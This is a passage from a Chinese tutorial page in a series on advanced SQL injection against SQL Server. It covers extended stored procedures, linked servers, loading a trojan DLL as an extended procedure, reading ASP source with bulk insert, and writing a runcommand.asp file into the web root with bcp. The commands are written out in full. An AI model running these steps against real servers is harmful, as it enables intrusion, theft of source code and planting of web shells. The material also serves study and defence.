Sql-Server应用程序的高级Sql注入(6)

http://www.itjxue.com  2015-07-17 09:24  来源:未知  点击次数: 


[其他扩展存储]

xp_servicecontrol扩展存储允许用户启动,停止,暂停或者运行服务。

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

下面是一些其他有用的扩展存储表:

xp_availablemedia 显示机器上可用的驱动器
xp_dirtree 获得一个目录树
xp_enumdsn 列举服务器上的ODBC数据源
xp_loginconfig 显示服务器的安全状态信息
xp_makecab 允许用户在服务器上创建压缩文件(或者任何服务器可以访问的文件)
xp_ntsec_enumdomains 列举服务器可以访问的域
xp_terminate_process 结束一个给定PID进程


[联合服务器]

SQL-Server提供了一个服务器联合的机制,就是允许一个数据库服务器上的查询操作其他服务器的数据。这些联合设置存放在master..sysservers表里,如果一个相连的服务器使用了'sp_addlinkedsrvlogin'存储过程,一个自动的登陆了的连接已经存在,可以通过它不登陆而访问该服务器。'openquery'函数允许查询在联合服务器上执行。


[用户自定义扩展存储]

扩展存储的API是相当简单的,创建一个带有恶意代码的扩展存储DLL也是相当容易的。通过命令行有很多方法将DLL上传到服务器,还有其他的很多方法包括各种通信机制来自动实现,比如HTTP下载和FTP脚本。
一旦DLL文件出现在服务器上SQL-Server可以访问,这不一定需要SQL-server本身,攻击者可以通过下面添加扩展存储(这里,我们的恶意扩展存储是个用来操作服务器的文件系统小的木马)

sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'

扩展存储就可以通过一般的方法调用:

exec xp_webserver

一旦这个扩展存储执行过,可以这样删除它:

sp_dropextendedproc 'xp_webserver'


[向表中导入文本文件]

利用'bulk insert'语句,可以把一个文本文件的内容插入进一张临时表,我们简单的创建一个表:

create table foo( line varchar(8000) )

然后执行bulk insert来插入数据来自于一个文件:

bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'

通过上面介绍过的错误信息技巧就可以得到数据,或者通过一个'union'查询,把文本数据作为查询的数据返回。这对于获得存储在数据库里的脚本如asp脚本很有用。


[利用BCP创建文本文件]

利用和'bulk insert'作用相反的技术创建任意的文本文件非常简单。不过需要一个命令行工具'bcp'('bulk copy program'),因为bcp在SQL-Server进程外访问数据库,它需要一次登陆。但是这不难,因为攻击者都可以创建一个;或者如果服务器配置使用了“完整性”安全模式,攻击者可以利用它。

命令行格式如下:

bcp "Select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

'S'参数是要运行查询的服务器,'U'参数是用户名,'P'是密码,这里的密码是'foobar'。

(责任编辑:IT教学网)

更多

推荐SQL Server文章